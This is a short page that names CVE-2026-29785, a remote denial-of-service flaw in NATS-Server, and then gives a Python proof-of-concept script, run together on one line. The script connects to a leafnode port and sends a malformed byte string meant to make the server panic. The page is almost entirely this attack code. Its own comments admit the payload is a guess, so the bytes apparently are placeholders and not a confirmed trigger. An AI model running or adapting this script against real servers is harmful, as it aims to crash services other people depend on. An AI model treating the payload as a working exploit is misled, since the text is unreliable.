CVE-2026-29785 NATS-Server 远程拒绝服务漏洞

import socket # PoC for CVE-2026-29785 # This script attempts to trigger the panic by connecting to the leafnode port. # Note: Specific payload bytes may vary based on the compression implementation details. def exploit_poc(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Sending malformed data to trigger the panic # Leafnodes usually expect specific protocol INFO, sending garbage or partial headers might trigger the bug payload = b"\x00\x00\x00\x00MALFORMED_COMPRESSION_DATA" s.send(payload) print("[+] Payload sent. Check if server crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details exploit_poc("127.0.0.1", 7422) # Default leafnode port might vary